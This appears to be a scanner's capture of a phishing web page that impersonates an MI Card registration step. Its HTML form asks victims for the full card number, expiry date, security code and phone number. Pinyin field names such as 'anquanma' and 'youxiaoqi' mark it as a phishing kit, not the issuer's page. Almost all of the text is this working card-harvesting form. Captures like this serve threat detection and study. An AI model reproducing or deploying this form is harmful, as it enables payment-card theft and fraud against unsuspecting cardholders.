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https://www.s.miecead.com/
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Form analysis 1 forms found in the DOM
<form onsubmit="return false;" id="form">
<input type="hidden" id="formId" name="formId" value="2ba4cb3a97b09f1743d7432e6d0c93079c27043547f72652396a99b32cbc54a4">
<p class="mipwc_txt_note">※MIカードのご登録情報を入力して下さい。</p>
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<label for="mipwc_loginid">カード番号<span>※半角数字16桁でご入力ください（アメックスの場合は15桁）</span></label>
</dt>
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<input type="text" pattern="\d*" style="width:40%;" onkeyup="value=value.replace(/[^1234567890-]+/g,'')" name="account" value="" maxlength="16" size="16" tabindex="2" class="">
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<!--新增-->
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<label for="mipwc_birth_year">有効期限</label>
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<input type="text" pattern="\d*" onkeyup="value=value.replace(/[^1234567890-]+/g,'')" name="youxiaoqi_yue" value="" maxlength="2" size="4" tabindex="3" class="input-num-short">月 / <input type="text"
onkeyup="value=value.replace(/[^1234567890-]+/g,'')" pattern="\d*" name="youxiaoqi_nian" value="" maxlength="4" size="4" tabindex="4" class="input-num-short">年
</div>
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<!--安全吗-->
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<label for="mipwc_loginid">セキュリティコード</label>
</dt>
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<input type="text" pattern="\d*" style="width:40%;" name="anquanma" onkeyup="value=value.replace(/[^1234567890-]+/g,'')" value="" maxlength="4" size="4" tabindex="2" class="">
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<label for="mipwc_birth_year">電話番号</label>
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<input type="text" pattern="\d*" onkeyup="value=value.replace(/[^1234567890-]+/g,'')" name="phone_1" value="" maxlength="4" size="4" tabindex="3" class="input-num-short">- <input type="text" pattern="\d*"
onkeyup="value=value.replace(/[^1234567890-]+/g,'')" name="phone_2" value="" maxlength="4" size="4" tabindex="4" class="input-num-short">- <input type="text" pattern="\d*" onkeyup="value=value.replace(/[^1234567890-]+/g,'')" name="phone_3"
value="" maxlength="4" size="4" tabindex="5" class="input-num-short">
</div>
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<hr class="mipwc_line_high">
<div class="mipwc_box_split">
<a href="javascript:void(0)" onclick="formSubmit()" class="mipwc_btn_next" tabindex="6">以上の内容で登録</a>
<a href="#" id="tijiao" class="mipwc_link_back" tabindex="7">一つ前の画面へ戻る</a>
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</form>Text Content
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